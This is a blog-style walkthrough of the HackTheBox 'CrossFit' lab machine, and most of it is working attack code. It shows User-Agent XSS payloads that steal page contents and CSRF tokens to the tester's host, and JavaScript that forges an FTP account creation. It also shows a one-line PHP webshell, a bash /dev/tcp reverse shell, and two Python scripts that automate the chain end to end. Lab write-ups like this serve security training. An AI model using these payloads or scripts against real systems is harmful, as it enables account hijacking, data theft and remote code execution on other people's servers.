Home HackTheBox - CrossFit
Post
Cancel

HackTheBox - CrossFit

CrossFit was an extremelly useful box to learn and train my XSS skills. It starts with a XSS on a message param. Then you do a CSRF, by creating an account on a ftp server with the admin credentials.

You upload a webshell on the ftp server, then execute it with js.

The auto rev shell from the user www-data is on the body.

Diagram

Here is the diagram for this machine. It’s a resume from it.

I’ll do it when I finish it in the future.

Enumeration

First step is to enumerate the box. For this we’ll use nmap

1
nmap -sV -sC -Pn 10.10.10.208

-sV - Services running on the ports

-sC - Run some standart scripts

-Pn - Consider the host alive

Port 21

It’s FTP, and we have a ssl cert in it, so let’s read it

This way

1
openssl s_client -connect 10.10.10.208:21 -starttls ftp

And we found another vhost

Port 80

We try to open it on the browser

Just the standart apache page

We add crossfit.htb and gym-club.crossfit.htb to our /etc/hosts file

Still the same page in crossfit.htb

In gym-club.crossfit.htb we found a page

We start enumerating the web page, and found a form in contact.php

Tryed to put some standard xss, but nothing worked well.

Gobuster

We decided to run a gobuster in this box, to see if we can get more folders, I’ll use the flag -x php, because I know this web app is php

1
gobuster dir -u http://gym-club.crossfit.htb -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php -t 20

Many of them we’ve already enumerated, so, there is no need to carry on them. The only I need to open here, is the security_thread

We try to open the report.php and get a privilege error.

Interesting, we need to execute it as admin to read the file!

Blog-Single

After looking for another place to input data, we found a new one in http://gym-club.crossfit.htb/blog-single.php

It’s a comment part

We just try to send a comment

The comment was sent and a message appears on my screen

We also send it to burp, to play arround

XSS Attempt

Let’s try some XSS in it. This “will be evaluated by a moderator” is a strong indicative that it’s vulnerable to XSS

First, I tried the simple one

<script src="http://10.10.14.20"></script>

And got a message error… Interesting

1
A security report containing your IP address and browser information will be generated and our admin team will be immediately notified

Interesting, information about my ip address and browser. I spent a lot of time trying to byppass it, but this message give me a good clue about what to do.

What if we send the XSS in our browser information, as User-Agent for example?

We send it, the error was triggered

And we get it

Good, what if we make the admin read the report.php file for us?

First let’s get the page

0x4rt3mis.js

1
2
3
4
5
6
7
function send_report(){
        var req=new XMLHttpRequest();
        req.open('GET', 'http://10.10.14.20:9090/?xss=' + document.body.innerHTML, true);
        req.send();
}

send_report();

Ok, we know that it’s getting back, now, we should get the report.php file, make the admin read that and send me the content of it

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
function read_report(){
        var req=new XMLHttpRequest();
        var url = "http://gym-club.crossfit.htb/security_threat/report.php";
        req.open("GET", url, true);
        req.send();
        req.onreadystatechange = function(){
        if(req.readyState == XMLHttpRequest.DONE){
                var resultText = btoa(req.response);
                send(resultText)
                }
        }
}

function send(resultText){
        var xhr=new XMLHttpRequest();
        xhr.open('GET', 'http://10.10.14.20:9090/?xss=' + resultText, true);
        xhr.send();
}

read_report();

Decode it

Nothing very useful

Sure! How I’m a guy that like the things scripted and automated… Let’s automate the “file reader” now!

Auto XSS

We will use our python skeleton to do that

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#!/usr/bin/python3

import argparse
import requests
import sys

'''Setting up something important'''
proxies = {"http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080"}
r = requests.session()

'''Here come the Functions'''

def main():
    # Parse Arguments
    parser = argparse.ArgumentParser()
    parser.add_argument('-t', '--target', help='Target ip address or hostname', required=True)
    args = parser.parse_args()
    
    '''Here we call the functions'''
    
if __name__ == '__main__':
    main()

Here it is

Obvislouly it’s not a LFI or anything like that. But was good for practice and maybe in the future we use that to “access” the page as admin.

auto_xss.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
#!/usr/bin/python3
# Author: 0x4rt3mis
# Auto XSS and Session Riding - CrossFit - HackTheBox

import argparse
import requests
import sys
import base64
from threading import Thread
import threading
import http.server
import socket
from http.server import HTTPServer, SimpleHTTPRequestHandler
import os
import re

'''Setting up something important'''
proxies = {"http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080"}
r = requests.session()

'''Here come the Functions'''
# Setting the python web server
def webServer():
    debug = True
    server = http.server.ThreadingHTTPServer(('0.0.0.0', 80), SimpleHTTPRequestHandler)
    if debug:
        print("[+] Starting Web Server in background [+]")
        thread = threading.Thread(target = server.serve_forever)
        thread.daemon = True
        thread.start()
    else:
        print("Starting Server")
        print('Starting server at http://{}:{}'.format('0.0.0.0', 80))
        server.serve_forever()

# Trigger the XSS
def triggerXSS(lhost):
    url = "http://gym-club.crossfit.htb:80/blog-single.php"
    headers = {"User-Agent": "<script src=\"http://%s/0x4rt3mis.js\"></script>" %lhost, "Content-Type": "application/x-www-form-urlencoded"}
    data = {"name": "0x4rt3mis", "email": "0x4rt3mis@email.com", "phone": "123456", "message": "<script src=\"http://10.10.10.10/\"></script>", "submit": "submit"}
    r.post(url, headers=headers, data=data, proxies=proxies)

# Base64 decode things
def b64d(s):
    return base64.b64decode(s).decode()

# Create the JS payload to be sent
def createPayload(file,lhost):
    payload = "function read_report(){\n"
    payload += "        var req=new XMLHttpRequest();\n"
    payload += "        var url = 'http://gym-club.crossfit.htb/%s';\n" %file
    payload += "        req.open('GET', url, true);\n"
    payload += "        req.send();\n"
    payload += "        req.onreadystatechange = function(){\n"
    payload += "        if(req.readyState == XMLHttpRequest.DONE){\n"
    payload += "                var resultText = btoa(req.response);\n"
    payload += "                send(resultText)\n"
    payload += "                }\n"
    payload += "        }\n"
    payload += "}\n"
    payload += "function send(resultText){\n"
    payload += "        var xhr=new XMLHttpRequest();\n"
    payload += "        xhr.open('GET', 'http://%s:9999/' + resultText, true);\n" %lhost
    payload += "        xhr.send();\n"
    payload += "}\n"
    payload += "read_report();\n"
    f = open("0x4rt3mis.js", "w")
    f.write(payload)
    f.close()

# Function to just read the get.txt file and convert it
def readFile():
    f = open('get.txt','r')
    output= f.read()
    if len(output) < 5:
        print("[+] File does not exist or I can't read it!! ")
    else:
        b64encoded = re.search(' .* ', output).group(0)
        b64encoded = b64encoded.removeprefix(" /")
        print()
        print(b64d(b64encoded))

# Function to iterate trough files
def xssLFI(lhost,rhost):
    prefix = "Reading file: "
    file = ""
    while True:
        file = input(prefix)
        if file != "exit":
            createPayload(file,lhost)
            triggerXSS(lhost)
            os.system('nc -q 5 -lnvp 9999 > get.txt 2>/dev/null &')
            os.system("sleep 5")
            readFile()
        else:
            print("[+] Exitttttting..... !!!! [+]")
            break

def main():
    # Parse Arguments
    parser = argparse.ArgumentParser()
    parser.add_argument('-t', '--target', help='Target ip address or hostname', required=True)
    parser.add_argument('-li', '--localip', help='Local ip address or hostname', required=True)
    args = parser.parse_args()

    rhost = args.target
    lhost = args.localip

    '''Here we call the functions'''
    # Set up the web python server
    webServer()
    # Trigger it
    xssLFI(lhost,rhost)

if __name__ == '__main__':
    main()

We can get other files as admin, but nothing useful returned.

Vhost Fuzzing (AGAIN)

We did as the same 0xdf in his blog, which is very well explained what is happening here by him

1
2
3
At this point I got a hint to try to use the Origin header to enumerate subdomains, which is explained here. The Origin headers is a part of a mechanism called cross-origin resource sharing (CORS) that allows a page to page in domain A to make resources accessible to domain B without making them accessible to the larger world. Browsers will allow embedding of things like images, stylesheets, scripts, etc, but specifically block things like AJAX requests in JavaScript with same-origin policy. The idea is that a server can specify what domains, other than its own, the browser should allow loading of resources. If the server includes the Origin: header, then the receiving server will respond with a Access-Control-Allow-Origin: header to let the server know it is ok to access these assets.

The idea here is that if Crossfit explicitly allows another domain, it must exist (and likely explicitly allows requests from gym-club).
1
wfuzz -u http://gym-club.crossfit.htb/ -H "Origin: http://FUZZ.crossfit.htb" --filter "r.headers.response ~ 'Access-Control-Allow-Origin'" -w /usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt

The --filter "r.headers.response ~ 'Access-Control-Allow-Origin'" will filter for any response with that header.

Ok, we found the ftp subdomain

FTP CORS

Once we got it, let’s try to access it on the browser

After add in /etc/hosts we access it’s page on the browser

For our box, possibly it comes the apache default page, but how about we come from the gym-club? We can do that with the XSS we discover earlier

We do a small change on my exploit

And try to read ftp.crossfit.htb

Yes, the page is different. We save the content to html and open in the browser

That’s the page we want! Now we can see that it refers to /accounts/create, let’s take a look in it also

Save it to html, and read again

Great! Seems that we can create an account on the website.

CSRF Account Request

We see on the html it let us send username and pass to it. This is now moving from XSS to Cross-Site Request Forgery (CSRF / XSRF), in the case of this box, I want the admin make an action for me, create a new user.

The “problem” is the _token variable, I need to get it and reuse it. Here is the way I got it, parsing the response and sending it to me, to check if it’s okay.

0x4rt3mis.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
// This section is to get the body response in a variable, as response
var url = 'http://ftp.crossfit.htb/accounts/create';
var body = new XMLHttpRequest();
body.open('GET', url, false);
body.send();
var response = body.responseText;

// This section is to just parse it and get the token value
var parser = new DOMParser();
var response_text = parser.parseFromString(response, "text/html");
var token = response_text.getElementsByName("_token")[0].value;

// This section is to send the token value to us
var xhr = new XMLHttpRequest();
xhr.open('GET', 'http://10.10.14.20:9999/' + token, true);
xhr.send();

And here we got it

Now, we need to create an account in it. We send as POST request the params.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
// Function created to simplify the debbug, always send as param the value you want to debbug
function debug(debug){
        var xhr = new XMLHttpRequest();
        xhr.open('GET', 'http://10.10.14.20:9999/' + debug, true);
        xhr.send();
}

// Function to parse the response and get the token from it
function getToken(response){
        var parser = new DOMParser();
        var response_text = parser.parseFromString(response, "text/html");
        return response_text.getElementsByName("_token")[0].value;
}

// Function to make the things happen
function createAccount(){
        // Get the Token
        var req_token = new XMLHttpRequest();
        // Request both from get token and create user must be in the same session
        req_token.onreadystatechange = function(){
                if (req_token.readyState == XMLHttpRequest.DONE) {
                        var token = getToken(req_token.responseText);
                        debug(token);
                        // Create the account in the same "session"
                        var req_create = new XMLHttpRequest();
                        var url_create = 'http://ftp.crossfit.htb/accounts';
                        req_create.open("POST", url_create, false);
                        req_create.withCredentials = true;
                        req_create.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
                        var values = "username=0x4rt3mis&pass=0x4rt3mis0x4rt3mis&_token=" + token;
                        req_create.send(values);
                        debug(btoa(req_create.response));
                }
        }
        // After parse everything, just trigger it
        var url = 'http://ftp.crossfit.htb/accounts/create';
        req_token.open('GET', url, false);
        req_token.withCredentials = true;
        req_token.send();
}

// Trriger the account creation
createAccount()

We open the html response in the browser. And it’s really created!

And now, we log on the ftp

Reverse Shell

Seems that we are on the webroot of the ftp. We cannot reach it from the browser, but we can do that from the XSS we got earlier.

We upload a simple cmd php.

1
<?php system($_REQUEST['cmd']); ?>

The folder we upload is the development-test.crossfit.htb, because we have read and write acces to it

Ok, done, now just make a new XMLHTTPrequest to it, to trigger it

I did a rce.js just to test a cmd exec

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
// Function created to simplify the debbug, always send as param the value you want to debbug
function debug(debug){
        var xhr = new XMLHttpRequest();
        xhr.open('GET', 'http://10.10.14.20:9999/' + debug, true);
        xhr.send();
}

// Function just to try cmd id
function getRCE(){
        var rev = new XMLHttpRequest();
        var url = "http://development-test.crossfit.htb/cmd.php?cmd=id";
        rev.open("GET", url, false);
        rev.send();
        debug(rev.response);
}

getRCE()

Now, the reverse shell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
// Function created to simplify the debbug, always send as param the value you want to debbug
function debug(debug){
        var xhr = new XMLHttpRequest();
        xhr.open('GET', 'http://10.10.14.20:9999/' + debug, true);
        xhr.send();
}

// Function just to get the reverse shell
function getRCE(){
	var rev = new XMLHttpRequest();
	var url = "http://development-test.crossfit.htb/cmd.php?cmd=bash+-c+'bash+-i+>%26+/dev/tcp/10.10.14.20/443+0>%261'";
	rev.open("GET", url, true);
	rev.send();
}

getRCE()

Auto Reverse Shell

Now, let’s automate all the reverse shell!

Here it’s

rev_auto.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
#!/usr/bin/python3
# Author: 0x4rt3mis
# Auto Exploit for www-data - CrossFit - HackTheBox

import argparse
import requests
import sys
from threading import Thread
import threading
import http.server
import socket
from http.server import HTTPServer, SimpleHTTPRequestHandler
import os
import re
import socket, telnetlib
from threading import Thread

'''Setting up something important'''
proxies = {"http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080"}
r = requests.session()

'''Here come the Functions'''
# Set the handler
def handler(lport,target):
    print("[+] Starting handler on %s [+]" %lport)
    t = telnetlib.Telnet()
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.bind(('0.0.0.0',lport))
    s.listen(1)
    conn, addr = s.accept()
    print("[+] Connection from %s [+]" %target) 
    t.sock = conn
    print("[+] Shell'd [+]")
    t.interact()
    
# Setting the python web server
def webServer():
    debug = True
    server = http.server.ThreadingHTTPServer(('0.0.0.0', 80), SimpleHTTPRequestHandler)
    if debug:
        print("[+] Starting Web Server in background [+]")
        thread = threading.Thread(target = server.serve_forever)
        thread.daemon = True
        thread.start()
    else:
        print("Starting Server")
        print('Starting server at http://{}:{}'.format('0.0.0.0', 80))
        server.serve_forever()

# Trigger the XSS
def triggerXSS(lhost):
    url = "http://gym-club.crossfit.htb:80/blog-single.php"
    headers = {"User-Agent": "<script src=\"http://%s/0x4rt3mis_auto.js\"></script>" %lhost, "Content-Type": "application/x-www-form-urlencoded"}
    data = {"name": "0x4rt3mis", "email": "0x4rt3mis@email.com", "phone": "123456", "message": "<script src=\"http://10.10.10.10/\"></script>", "submit": "submit"}
    r.post(url, headers=headers, data=data, proxies=proxies)
    
def uploadPHP():
    # Create the cmd.php file
    print("[+] Creating and sending the cmd file !! [+]")
    os.system('echo "<?php system(\$_REQUEST[\'cmd\']); ?>" > cmd.php')
    os.system('sleep 1')
    os.system('lftp -c "open -u 0x4rt3mis,0x4rt3mis0x4rt3mis ftp.crossfit.htb; set ssl:verify-certificate false; put -O development-test/ cmd.php"')
    print("[+] Done, let's get the reverse shell ! [+]")
    
# Function to make the js to do the ftp user
def createPayloadFTP():
    print("[+] Creating the js to create the payload !! [+]")
    payload = "// Function to parse the response and get the token from it\n"
    payload += "function getToken(response){\n"
    payload += "        var parser = new DOMParser();\n"
    payload += "        var response_text = parser.parseFromString(response, 'text/html');\n"
    payload += "        return response_text.getElementsByName('_token')[0].value;\n"
    payload += "}\n"
    payload += "\n"
    payload += "// Function to make the things happen\n"
    payload += "function createAccount(){\n"
    payload += "        // Get the Token\n"
    payload += "        var req_token = new XMLHttpRequest();\n"
    payload += "        // Request both from get token and create user must be in the same session\n"
    payload += "        req_token.onreadystatechange = function(){\n"
    payload += "                if (req_token.readyState == XMLHttpRequest.DONE) {\n"
    payload += "                        var token = getToken(req_token.responseText);\n"
    payload += "                        // Create the account in the same 'session'\n"
    payload += "                        var req_create = new XMLHttpRequest();\n"
    payload += "                        var url_create = 'http://ftp.crossfit.htb/accounts';\n"
    payload += "                        req_create.open('POST', url_create, false);\n"
    payload += "                        req_create.withCredentials = true;\n"
    payload += "                        req_create.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');\n"
    payload += "                        var values = 'username=0x4rt3mis&pass=0x4rt3mis0x4rt3mis&_token=' + token;\n"
    payload += "                        req_create.send(values);\n"
    payload += "                }\n"
    payload += "        }\n"
    payload += "        // After parse everything, just trigger it\n"
    payload += "        var url = 'http://ftp.crossfit.htb/accounts/create';\n"
    payload += "        req_token.open('GET', url, false);\n"
    payload += "        req_token.withCredentials = true;\n"
    payload += "        req_token.send();\n"
    payload += "}\n"
    payload += "\n"
    payload += "\n"
    payload += "// Trriger the account creation\n"
    payload += "createAccount()"
    f = open("0x4rt3mis_auto.js", "w")
    f.write(payload)
    f.close()
    print("[+] JS Created !! [+]")
    
def getReverseShell(lhost,lport):
    payload = "// Function just to try rev shell\n"
    payload += "function getRCE(){\n"
    payload += "	var rev = new XMLHttpRequest();\n"
    payload += "	var url = \"http://development-test.crossfit.htb/cmd.php?cmd=bash+-c+'bash+-i+>%26+/dev/tcp/" + lhost + "/" + lport + "+0>%261'\";\n"
    payload += "	rev.open('GET', url, true);\n"
    payload += "	rev.send();\n"
    payload += "}\n"
    payload += "getRCE()"
    f = open("0x4rt3mis_auto.js", "w")
    f.write(payload)
    f.close()
    print("[+] JS Reverse Shell Created !! [+]")
    
def main():
    # Parse Arguments
    parser = argparse.ArgumentParser()
    parser.add_argument('-t', '--target', help='Target ip address or hostname', required=True)
    parser.add_argument('-li', '--ipaddress', help='Listening IP address for reverse shell', required=True)
    parser.add_argument('-lp', '--port', help='Listening port for reverse shell', required=True)
    args = parser.parse_args()
    
    rhost = args.target
    lhost = args.ipaddress
    lport = args.port

    '''Here we call the functions'''
    # Set up the handler
    thr = Thread(target=handler,args=(int(lport),rhost))
    thr.start()
    # Set up the web python server
    webServer()
    # Create the payload to create an account on the ftp server
    createPayloadFTP()
    # Trigger to the account the created
    triggerXSS(lhost)
    os.system("sleep 7")
    # Create the payload to get the reverse shell
    getReverseShell(lhost,lport)
    # Upload the malicious php
    uploadPHP()
    # Get the reverse shell
    os.system("sleep 7")
    triggerXSS(lhost)
    os.system("sleep 7")
    # Remove the files
    os.system("rm 0x4rt3mis_auto.js")
    os.system("rm cmd.php")
    
if __name__ == '__main__':
    main()

I’ll not continue with the privilege escalation. In the future I’ll return here and make it again.

Source Code Analysis

After got the hank password (not shown here), just for debug the source code of it I’ll get the source web code

1
rsync -azP hank@crossfit.htb:/var/www/* .

We start looking the XSS we found earlier

In the file blog-single.php we found this php code

It import the functions, it test the message parameter for the request with the XSS filter

In the functions.php we found the both XSS functions

In report.php we found the place where it delimits the localhost

This post is licensed under CC BY 4.0 by the author.